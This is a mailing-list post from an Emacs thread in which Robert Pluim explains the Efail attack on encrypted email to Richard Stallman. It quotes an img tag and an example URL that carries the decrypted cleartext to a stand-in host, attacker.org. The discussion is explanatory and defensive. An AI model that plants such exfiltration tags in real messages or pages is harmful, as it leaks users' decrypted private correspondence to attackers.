[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?
From: |
Robert Pluim |
Subject: |
Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME? |
Date: |
Thu, 17 May 2018 09:16:47 +0200 |
Richard Stallman <address@hidden> writes:
> [[[ To any NSA and FBI agents reading my email: please consider ]]]
> [[[ whether defending the US Constitution against all enemies, ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
> > No, it just depends in <img src="http://attacker.org/" in various
> > scenarios
>
> How does that command cause some of the message to be sent somewhere?
The attacker arranges things so that the requested URL actually
contains the cleartext eg
<https://attacker.org?super_secret_message_cleartext>
Robert
Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Richard Stallman, 2018/05/15
Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Eli Zaretskii, 2018/05/16
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Andreas Schwab, 2018/05/16
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Eli Zaretskii, 2018/05/16
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Andreas Schwab, 2018/05/16
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Richard Stallman, 2018/05/17
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Uwe Brauer, 2018/05/18
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Lars Ingebrigtsen, 2018/05/18
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Uwe Brauer, 2018/05/19
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Eli Zaretskii, 2018/05/19
- Re: Emacs/Mutt and Efail or OpenPGP is safer than S/MIME?, Uwe Brauer, 2018/05/19